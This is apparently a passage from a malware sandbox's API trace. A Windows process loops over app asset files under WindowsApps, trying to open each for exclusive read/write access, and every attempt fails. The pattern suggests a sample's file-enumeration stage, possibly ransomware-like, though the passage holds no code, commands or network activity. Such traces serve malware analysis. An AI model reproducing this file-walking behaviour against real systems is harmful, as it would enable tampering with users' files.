lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.384] Sleep (dwMilliseconds=0x1) [0274.395] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png", len=0x94 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png") returned 1 [0274.395] GetProcessHeap () returned 0x630000 [0274.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cac) returned 0x6fe3bb0 [0274.395] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.398] Sleep (dwMilliseconds=0x1) [0274.430] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png") returned 1 [0274.430] GetProcessHeap () returned 0x630000 [0274.430] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca0) returned 0x6fe3bb0 [0274.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.432] Sleep (dwMilliseconds=0x1) [0274.450] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png", len=0x88 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png") returned 1 [0274.450] GetProcessHeap () returned 0x630000 [0274.450] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c9c) returned 0x6fe3bb0 [0274.450] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.451] Sleep (dwMilliseconds=0x1) [0274.459] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png") returned 1 [0274.459] GetProcessHeap () returned 0x630000 [0274.459] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c90) returned 0x6fe3bb0 [0274.459] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.460] Sleep (dwMilliseconds=0x1) [0274.472] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png") returned 1 [0274.472] GetProcessHeap () returned 0x630000 [0274.473] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c8c) returned 0x6fe3bb0 [0274.473] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.474] Sleep (dwMilliseconds=0x1) [0274.490] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png", len=0x95 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png") returned 1 [0274.490] GetProcessHeap () returned 0x630000 [0274.490] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c80) returned 0x6fe3bb0 [0274.490] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.492] Sleep (dwMilliseconds=0x1) [0274.503] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png", len=0x95 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png") returned 1 [0274.504] GetProcessHeap () returned 0x630000 [0274.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c7c) returned 0x6fe3bb0 [0274.504] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.505] Sleep (dwMilliseconds=0x1) [0274.520] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0274.520] GetProcessHeap () returned 0x630000 [0274.520] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c70) returned 0x6fe3bb0 [0274.520] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.521] Sleep (dwMilliseconds=0x1) [0274.537] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0274.537] GetProcessHeap () returned 0x630000 [0274.537] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c6c) returned 0x6fe3bb0 [0274.537] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.541] Sleep (dwMilliseconds=0x1) [0274.551] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x67 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0274.551] GetProcessHeap () returned 0x630000 [0274.551] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c60) returned 0x6fe3bb0 [0274.551] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.600] Sleep (dwMilliseconds=0x1) [0274.604] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-64.png", len=0x8f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-64.png") returned 1 [0274.604] GetProcessHeap () returned 0x630000 [0274.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c5c) returned 0x6fe3bb0 [0274.605] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-64.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.607] Sleep (dwMilliseconds=0x1) [0274.622] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-40.png", len=0x8f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-40.png") returned 1 [0274.622] GetProcessHeap () returned 0x630000 [0274.622] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c54) returned 0x6fe3bb0 [0274.622] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.624] Sleep (dwMilliseconds=0x1) [0274.636] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-32.png", len=0x8f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-32.png") returned 1 [0274.636] GetProcessHeap () returned 0x630000 [0274.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c50) returned 0x6fe3bb0 [0274.636] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.637] Sleep (dwMilliseconds=0x1) [0274.653] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-20.png", len=0x8f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-20.png") returned 1 [0274.653] GetProcessHeap () returned 0x630000 [0274.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c44) returned 0x6fe3bb0 [0274.653] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.655] Sleep (dwMilliseconds=0x1) [0274.667] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-16.png", len=0x8f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-16.png") returned 1 [0274.667] GetProcessHeap () returned 0x630000 [0274.667] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c40) returned 0x6fe3bb0 [0274.667] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.702] Sleep (dwMilliseconds=0x1) [0274.715] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-200_contrast-white.png", len=0xa0 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-200_contrast-white.png") returned 1 [0274.715] GetProcessHeap () returned 0x630000 [0274.715] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c28) returned 0x6fe3bb0 [0274.715] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagelargetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.716] Sleep (dwMilliseconds=0x1) [0274.733] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-80_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-80_altform-unplated_contrast-white.png") returned 1 [0274.733] GetProcessHeap () returned 0x630000 [0274.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c14) returned 0x6fe3bb0 [0274.733] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-80_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-80_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.735] Sleep (dwMilliseconds=0x1) [0274.747] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-64_contrast-white.png", len=0xa2 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-64_contrast-white.png") returned 1 [0274.747] GetProcessHeap () returned 0x630000 [0274.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c08) returned 0x6fe3bb0 [0274.747] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-64_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-64_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.749] Sleep (dwMilliseconds=0x1) [0274.764] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-40_contrast-white.png", len=0xa2 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-40_contrast-white.png") returned 1 [0274.764] GetProcessHeap () returned 0x630000 [0274.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf4) returned 0x6fe3bb0 [0274.765] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-40_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-40_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.766] Sleep (dwMilliseconds=0x1) [0274.778] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-36_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-36_altform-unplated_contrast-white.png") returned 1 [0274.778] GetProcessHeap () returned 0x630000 [0274.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be8) returned 0x6fe3bb0 [0274.778] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-36_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-36_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.780] Sleep (dwMilliseconds=0x1) [0274.793] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-256_altform-unplated_contrast-white.png", len=0xb4 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-256_altform-unplated_contrast-white.png") returned 1 [0274.793] GetProcessHeap () returned 0x630000 [0274.793] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd0) returned 0x6fe3bb0 [0274.794] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-256_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-256_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.794] Sleep (dwMilliseconds=0x1) [0274.809] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-20_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-20_altform-unplated_contrast-white.png") returned 1 [0274.809] GetProcessHeap () returned 0x630000 [0274.809] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc0) returned 0x6fe3bb0 [0274.809] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-20_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-20_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.814] Sleep (dwMilliseconds=0x1) [0274.826] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-200_contrast-black.png", len=0x9e | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-200_contrast-black.png") returned 